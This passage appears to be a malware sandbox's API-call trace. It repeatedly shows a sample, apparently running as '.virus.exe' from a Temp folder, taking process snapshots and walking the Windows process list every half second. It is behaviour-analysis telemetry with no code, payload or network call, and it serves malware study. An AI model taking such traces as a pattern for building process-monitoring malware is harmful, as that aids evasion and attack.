Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0183.506] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0183.506] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0183.506] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.507] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.507] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.508] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.508] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.509] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0183.509] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.510] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.510] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0183.510] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0183.511] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0183.511] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0183.512] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0183.512] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.513] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0183.513] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0183.513] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0183.514] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0183.514] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0183.515] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0183.515] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0183.516] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0183.516] Process32NextW (in: hSnapshot=0x1e0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0183.516] CloseHandle (hObject=0x1e0) returned 1 [0183.516] Sleep (dwMilliseconds=0x1f4) [0184.224] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e8 [0184.227] Process32FirstW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.227] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0184.227] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0184.228] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0184.228] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0184.229] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0184.229] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0184.230] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0184.230] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0184.230] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0184.231] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.231] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.231] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.232] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.232] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.233] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0184.233] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.234] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.234] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0184.235] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0184.235] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0184.235] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0184.236] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0184.236] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.237] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0184.237] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0184.238] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0184.238] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0184.238] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0184.239] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0184.239] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0184.240] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0184.240] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0184.241] CloseHandle (hObject=0x1e8) returned 1 [0184.241] Sleep (dwMilliseconds=0x1f4) [0185.106] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0185.108] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.108] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0185.109] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0185.109] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0185.110] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0185.110] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0185.110] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0185.111] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0185.111] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0185.112] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0185.112] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.113] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.113] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.113] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.114] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.114] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0185.115] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.116] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.116] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0185.116] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0185.117] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0185.117] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0185.118] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0185.118] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: 